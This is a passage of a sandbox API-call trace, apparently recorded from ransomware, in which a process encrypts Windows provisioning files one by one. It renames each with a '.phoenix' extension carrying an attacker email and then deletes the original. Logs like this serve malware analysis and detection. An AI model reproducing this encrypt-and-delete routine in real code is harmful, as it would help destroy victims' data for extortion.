	[0254.639] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.640] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0254.640] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.640] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0, dwBufLen=0xe0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe0) returned 1
	[0254.640] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.640] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x192, lpOverlapped=0x0) returned 1
	[0254.640] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0254.640] CloseHandle (hObject=0x308) returned 1
	[0254.640] CloseHandle (hObject=0x30c) returned 1
	[0254.640] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.641] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.641] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.642] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=861) returned 1
	[0254.642] CloseHandle (hObject=0x30c) returned 1
	[0254.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.642] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.642] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.642] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.642] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.643] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0254.643] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.643] ReadFile (in: hFile=0x30c, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x35d, lpOverlapped=0x0) returned 1
	[0254.823] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0254.823] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0254.824] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0254.824] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.824] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.824] CryptDestroyKey (hKey=0x151200) returned 1
	[0254.824] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.824] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.824] CloseHandle (hObject=0x30c) returned 1
	[0254.824] CloseHandle (hObject=0x308) returned 1
	[0254.824] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.825] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.826] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=731) returned 1
	[0254.826] CloseHandle (hObject=0x308) returned 1
	[0254.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0254.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.826] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.826] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.826] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.826] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.827] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0254.827] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.827] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2db, lpOverlapped=0x0) returned 1
	[0254.854] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0254.854] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.855] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0254.855] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.855] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.855] CryptDestroyKey (hKey=0x151740) returned 1
	[0254.855] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.855] CryptDestroyKey (hKey=0x151200) returned 1
	[0254.855] CloseHandle (hObject=0x308) returned 1
	[0254.856] CloseHandle (hObject=0x30c) returned 1
	[0254.856] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\564__Connections_Cellular_Orange (Tunisia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\564__connections_cellular_orange (tunisia)_i5$(__mvid)@wap.provxml")) returned 1
	[0254.857] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.858] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0254.858] CloseHandle (hObject=0x30c) returned 1
	[0254.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.859] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.859] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.859] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0254.859] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.859] ReadFile (in: hFile=0x30c, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0254.867] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.867] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.868] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0254.868] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.869] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.869] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.869] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.869] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.869] CloseHandle (hObject=0x30c) returned 1
	[0254.869] CloseHandle (hObject=0x308) returned 1
	[0254.869] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\565__Connections_Cellular_Orange (Uganda)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\565__connections_cellular_orange (uganda)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.870] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.870] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.877] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=846) returned 1
	[0254.877] CloseHandle (hObject=0x2f4) returned 1
	[0254.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.877] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.878] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.878] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.878] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.881] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0254.881] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.881] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34e, lpOverlapped=0x0) returned 1
	[0254.884] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0254.884] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0254.885] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0254.885] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.885] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0254.885] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.885] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0254.886] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.886] CloseHandle (hObject=0x2f4) returned 1
	[0254.886] CloseHandle (hObject=0x30c) returned 1
	[0254.886] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\567__Connections_Cellular_Cubic Telecom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\567__connections_cellular_cubic telecom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.887] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
